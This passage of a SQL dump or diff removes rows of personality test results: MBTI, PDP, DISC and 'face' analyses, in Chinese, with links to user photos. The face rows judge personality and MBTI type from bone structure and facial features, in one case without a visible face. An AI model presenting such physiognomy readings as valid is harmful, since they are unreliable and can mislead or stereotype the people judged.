NULL, 1, 0, NULL, NULL, 1772098235, 1772098235, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (17, 1, 'mbti', '{\"scores\": {\"E\": 4, \"F\": 4, \"I\": 5, \"J\": 3, \"N\": 3, \"P\": 4, \"S\": 3, \"T\": 4}, \"answers\": [], \"mbtiType\": \"ISTP\", \"timestamp\": \"2026-02-26T09:31:36.648Z\", \"confidence\": 53, \"completedAt\": \"2026-02-26T09:31:36.648Z\", \"description\": {\"name\": \"鉴赏家\", \"type\": \"ISTP\", \"careers\": [\"工程师\", \"技术员\", \"飞行员\"], \"category\": \"探险家\", \"strengths\": [\"适应力强\", \"动手能力\", \"冷静\"], \"weaknesses\": [\"可能冷漠\", \"不善表达\"], \"description\": \"灵活、务实的问题解决者\"}, \"testDuration\": 51, \"dimensionScores\": {\"EI\": {\"E\": 4, \"I\": 5, \"dominant\": \"I\", \"percentage\": 56}, \"JP\": {\"J\": 3, \"P\": 4, \"dominant\": \"P\", \"percentage\": 57}, \"SN\": {\"N\": 3, \"S\": 3, \"dominant\": \"S\", \"percentage\": 50}, \"TF\": {\"F\": 4, \"T\": 4, \"dominant\": \"T\", \"percentage\": 50}}}', NULL, 26, 1, 1, 1, 1772157110, 1772098296, 1772157115, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (18, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 20, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-02-27T01:34:12.437Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 100, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 18, \"secondaryType\": \"Peacock\"}', NULL, NULL, 1, 0, NULL, NULL, 1772156052, 1772156052, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (19, 1, 'pdp', '{\"scores\": {\"Owl\": 6, \"Koala\": 9, \"Tiger\": 2, \"Peacock\": 3, \"Chameleon\": 0}, \"answers\": {\"1\": \"Koala\", \"2\": \"Koala\", \"3\": \"Koala\", \"4\": \"Koala\", \"5\": \"Koala\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Owl\", \"9\": \"Tiger\", \"10\": \"Owl\", \"11\": \"Tiger\", \"12\": \"Owl\", \"13\": \"Koala\", \"14\": \"Koala\", \"15\": \"Koala\", \"16\": \"Owl\", \"17\": \"Owl\", \"18\": \"Peacock\", \"19\": \"Koala\", \"20\": \"Owl\"}, \"completedAt\": \"2026-02-27T01:35:10.123Z\", \"description\": {\"type\": \"考拉型\", \"color\": \"#10B981\", \"emoji\": \"🐨\", \"title\": \"支持者\", \"careers\": [\"人力资源\", \"客户服务\", \"教师\"], \"teamRole\": \"适合担任协调者和支持者角色\", \"strengths\": [\"可靠稳定\", \"团队协作\", \"善解人意\"], \"weaknesses\": [\"可能抗拒变化\", \"决策较慢\"], \"description\": \"稳重可靠,注重团队和谐\"}, \"percentages\": {\"Owl\": 30, \"Koala\": 45, \"Tiger\": 10, \"Peacock\": 15, \"Chameleon\": 0}, \"dominantType\": \"Koala\", \"testDuration\": 40, \"secondaryType\": \"Owl\"}', NULL, 28, 1, 1, 1, 1772157446, 1772156110, 1772157451, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (20, 1, 'disc', '{\"scores\": {\"C\": 3, \"D\": 4, \"I\": 7, \"S\": 6}, \"answers\": {\"1\": \"D\", \"2\": \"I\", \"3\": \"S\", \"4\": \"C\", \"5\": \"S\", \"6\": \"I\", \"7\": \"D\", \"8\": \"I\", \"9\": \"S\", \"10\": \"C\", \"11\": \"S\", \"12\": \"I\", \"13\": \"D\", \"14\": \"I\", \"15\": \"S\", \"16\": \"C\", \"17\": \"S\", \"18\": \"I\", \"19\": \"D\", \"20\": \"I\"}, \"completedAt\": \"2026-02-27T01:35:45.290Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 15, \"D\": 20, \"I\": 35, \"S\": 30}, \"dominantType\": \"I\", \"testDuration\": 18, \"secondaryType\": \"S\"}', NULL, NULL, 1, 0, NULL, NULL, 1772156145, 1772156145, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (21, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T01:36:09.553Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 18, \"secondaryType\": \"I\"}', NULL, 29, 1, 1, 1, 1772157482, 1772156169, 1772157485, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (22, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻周全,重视内在原则与长期规划,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称不夸张,颧骨不凸显权势而重内敛思谋,更擅长谋划与支持而非强势掌控。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神内敛专注,鼻梁清秀,唇形柔和含蓄,整体给人理性细腻、安静克制之感。\", \"personalitySummary\": \"内向安静,思维细致,有同理心与理想主义倾向,做事谨慎有计划,重视个人空间与稳定节奏。\"}', NULL, NULL, 1, 0, 1, NULL, 1772160911, 1772160911, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (23, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静、思维细腻,重视独立空间与深度思考,适合研究与策略型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感偏细长,五官布局均衡偏上停用力,思考与学习能力突出,行动节奏温和但韧性佳,适合持久深耕型发展。\", \"faceAnalysis\": \"额头偏高饱满,眼神内敛专注,鼻梁清秀,嘴形含蓄,下颌略尖,整体给人理性安静、思虑周全之感。\", \"personalitySummary\": \"逻辑导向,善于抽象分析与问题拆解;情绪表达克制,有边界感;做事追求准确与效率,习惯独立完成任务,对熟悉圈层较为温和体贴。\"}', NULL, NULL, 1, 0, 1, NULL, 1772161323, 1772161323, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (24, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻有规划,重视内心秩序与长期目标,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉适中,线条清长不突兀,决断多经思量后出手,抗压方式以内敛稳守为主。\", \"faceAnalysis\": \"额头顺畅、眼神内敛专注,鼻梁清秀、嘴形柔和含蓄,整体显理性克制、重思考少外露情绪。\", \"personalitySummary\": \"内向理性,洞察力强,做事有条理与原则,言语温和但边界清晰,更重质量与深度而非表面热闹。\"}', NULL, NULL, 1, 0, 1, NULL, 1772164524, 1772164524, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (25, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静、思维敏捷,内向专注,有独立判断与持续深耕能力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感清晰偏纤细,属木水形相,骨重肉薄,思维敏锐但行事低调,以理性分析和持续钻研见长。\", \"faceAnalysis\": \"额头平顺偏高,眼神安静克制,鼻梁清秀,嘴形含蓄,下巴略尖,整体气质理性而内敛。\", \"personalitySummary\": \"性格安静理智,重视逻辑与独立空间,表达温和不失原则,适合从事需要专注思考与专业深度的工作。\"}', NULL, 35, 1, 1, 1, 1772172909, 1772164861, 1772172912, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (26, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-27T04:01:37.973Z\", \"confidence\": 100, \"completedAt\": \"2026-02-27T04:01:37.973Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 22, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, 34, 1, 1, 1, 1772172885, 1772164898, 1772172888, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (27, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 1, \"Peacock\": 19, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Peacock\", \"3\": \"Peacock\", \"4\": \"Peacock\", \"5\": \"Peacock\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Peacock\", \"9\": \"Peacock\", \"10\": \"Peacock\", \"11\": \"Peacock\", \"12\": \"Peacock\", \"13\": \"Peacock\", \"14\": \"Peacock\", \"15\": \"Peacock\", \"16\": \"Peacock\", \"17\": \"Peacock\", \"18\": \"Peacock\", \"19\": \"Peacock\", \"20\": \"Peacock\"}, \"completedAt\": \"2026-02-27T04:02:37.556Z\", \"description\": {\"type\": \"孔雀型\", \"color\": \"#8B5CF6\", \"emoji\": \"🦚\", \"title\": \"表现者\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"teamRole\": \"适合担任激励者和调解者角色\", \"strengths\": [\"善于沟通\", \"乐观积极\", \"影响力强\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于表达和社交\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 5, \"Peacock\": 95, \"Chameleon\": 0}, \"dominantType\": \"Peacock\", \"testDuration\": 17, \"secondaryType\": \"Tiger\"}', NULL, 33, 1, 1, 1, 1772172854, 1772164957, 1772172860, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (28, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 0, \"I\": 1, \"S\": 19}, \"answers\": {\"1\": \"I\", \"2\": \"S\", \"3\": \"S\", \"4\": \"S\", \"5\": \"S\", \"6\": \"S\", \"7\": \"S\", \"8\": \"S\", \"9\": \"S\", \"10\": \"S\", \"11\": \"S\", \"12\": \"S\", \"13\": \"S\", \"14\": \"S\", \"15\": \"S\", \"16\": \"S\", \"17\": \"S\", \"18\": \"S\", \"19\": \"S\", \"20\": \"S\"}, \"completedAt\": \"2026-02-27T04:03:07.050Z\", \"description\": {\"type\": \"S型\", \"color\": \"#10B981\", \"title\": \"稳健型\", \"careers\": [\"人力资源\", \"客户服务\", \"行政\"], \"strengths\": [\"可靠稳定\", \"团队协作\", \"耐心倾听\"], \"weaknesses\": [\"可能抗拒变化\", \"决策较慢\"], \"description\": \"稳重可靠,注重团队和谐\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 5, \"S\": 95}, \"dominantType\": \"S\", \"testDuration\": 17, \"secondaryType\": \"I\"}', NULL, 31, 1, 1, 1, 1772172257, 1772164987, 1772172260, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (29, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T06:13:26.991Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 16, \"secondaryType\": \"I\"}', NULL, 32, 1, 1, 1, 1772172825, 1772172807, 1772172828, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (30, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,内敛却有主见,善于思考与规划,适合深度研究与长期项目推进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体偏木水形,相骨清秀不臃,骨感适中偏文弱,重心在上停与中停,更重思考谋划而非强势进攻。\", \"faceAnalysis\": \"额头较宽平,眼神安定含蓄,鼻梁秀直,嘴唇柔和收敛,下颌略尖,下停偏弱显思维感性细腻。\", \"personalitySummary\": \"性格安静理性,有同理心与洞察力,重视个人边界与独立空间,做事稳妥细腻,擅长在幕后规划与支持他人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772172961, 1772172961, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (31, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 1, \"I\": 0, \"J\": 1, \"N\": 0, \"P\": 6, \"S\": 7, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTP\", \"timestamp\": \"2026-02-27T06:16:32.131Z\", \"confidence\": 94, \"completedAt\": \"2026-02-27T06:16:32.131Z\", \"description\": {\"name\": \"企业家\", \"type\": \"ESTP\", \"careers\": [\"销售\", \"企业家\", \"运动员\"], \"category\": \"探险家\", \"strengths\": [\"果断\", \"务实\", \"善于应变\"], \"weaknesses\": [\"可能冲动\", \"缺乏耐心\"], \"description\": \"精力充沛、务实的行动者\"}, \"testDuration\": 27, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 1, \"P\": 6, \"dominant\": \"P\", \"percentage\": 86}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 1, \"T\": 7, \"dominant\": \"T\", \"percentage\": 88}}}', NULL, NULL, 0, 0, NULL, NULL, 1772172992, 1772172992, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (32, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 20, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-02-27T06:17:08.676Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 100, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 15, \"secondaryType\": \"Peacock\"}', NULL, NULL, 0, 0, NULL, NULL, 1772173028, 1772173028, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (33, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T06:17:36.507Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 16, \"secondaryType\": \"I\"}', NULL, NULL, 0, 0, NULL, NULL, 1772173056, 1772173056, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (34, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻周全,内敛但有自身原则与坚持,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏纤细水木形,骨肉匀称不夸张,更多重心在思考与感知,属于稳健内收型,韧性佳但不喜正面强冲。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神专注温和,鼻梁清秀,唇形柔和收敛,下颌线细窄,整体给人安静理性、敏感细腻之感。\", \"personalitySummary\": \"内向深思,情感细腻但不外露,做事有规划有分寸,重视长期价值与内在原则,人际上温和有界限,擅长在幕后策划与支持。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772245663, 1772245663, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (35, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性内敛、思维敏捷,重视独立空间与深度思考,适合专业研究与策略分析型道路。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体骨相纤长偏木形,骨肉匀称而不厚重,重思考与策略胜于强势掌控,耐力稳定偏持久。\", \"faceAnalysis\": \"额头偏高显理性与学习力,眼神专注带思索感,鼻梁清秀重理性判断,嘴形含蓄不事张扬。\", \"personalitySummary\": \"偏理性与独立,逻辑感强,好奇心重,情绪表现克制,人际有边界,擅长在安静环境中深度研究和解决复杂问题。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772245716, 1772245716, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (36, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性安静、独立思考,重视逻辑与个人空间,适合深度研究与创造性工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感偏细长,骨肉匀称,五官线条清晰,属于理性思辨型骨相,耐力中等但专注度高。\", \"faceAnalysis\": \"额头较饱满、眼神沉静理性,鼻梁清秀,嘴形含蓄内敛,整体给人冷静、安静而有思考感。\", \"personalitySummary\": \"思维抽象敏锐,善于分析问题与拆解结构,情绪外显度低,做人有分寸感,偏安静内敛但在熟悉领域表达坚定有主见。\"}', NULL, 36, 1, 0, 800, NULL, 1772246018, 1772258632, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (37, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻理性,外冷内暖,擅长独立思考与长期规划,重视自我节奏与内在价值。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉匀称而不厚重,颧骨不显主控欲适中,下颌线柔中带坚,整体以稳健内敛为主。\", \"faceAnalysis\": \"额头平顺饱满,眼神内敛专注,鼻梁清秀偏直,嘴唇柔和收敛,下巴略尖显韧性,整体偏理性含蓄。\", \"personalitySummary\": \"安静理性、思路清晰,情绪稳定度高,做事有计划有节奏,重视个人空间与深度思考,待人温和但边界感明确。\"}', NULL, NULL, 1, 0, 200, NULL, 1772259279, 1772259279, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (38, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静,重视逻辑与效率,擅长规划与统筹,做事稳健克制,执行力扎实。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c30b4767.42934501.jpg\"], \"boneAnalysis\": \"骨相偏方正稳重,骨肉匀称,五行以土金为主,格局偏中高,重视规则秩序与长期稳定。\", \"faceAnalysis\": \"额头平阔,眼神专注,鼻梁端正,嘴形收敛,下颌较稳,整体给人理性内敛、思维清晰之感。\", \"personalitySummary\": \"性格理性谨慎,注重计划与细节,责任感强,抗压能力佳,人际有边界感,偏向独立思考与默默执行。\"}', NULL, 37, 1, 0, 200, NULL, 1772259532, 1772259535, 5, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (39, 1, 'face', '{\"pdp\": {\"primary\": \"变色龙\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTP\", \"title\": \"鉴赏家\"}, \"overview\": \"理性内敛、行动务实,重视效率和实际效果,适合在相对独立又需专业判断的环境中发挥专长。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1e9a9f06.87885663.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb7f794.01724681.jpg\"], \"boneAnalysis\": \"由于未呈现清晰面部与骨骼轮廓,仅能推测整体偏实务稳健型骨相,缺乏依据做更细分判断。\", \"faceAnalysis\": \"照片仅露出部分手部与发顶,面部特征信息不足,无法进行完整面相分析与对应传统条目判断。\", \"personalitySummary\": \"偏安静理性、重视事实与细节,习惯独立思考后再行动,适合技术、分析或需要冷静判断的角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772260136, 1772260136, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (40, 1, 'face', '{\"pdp\": {\"primary\": 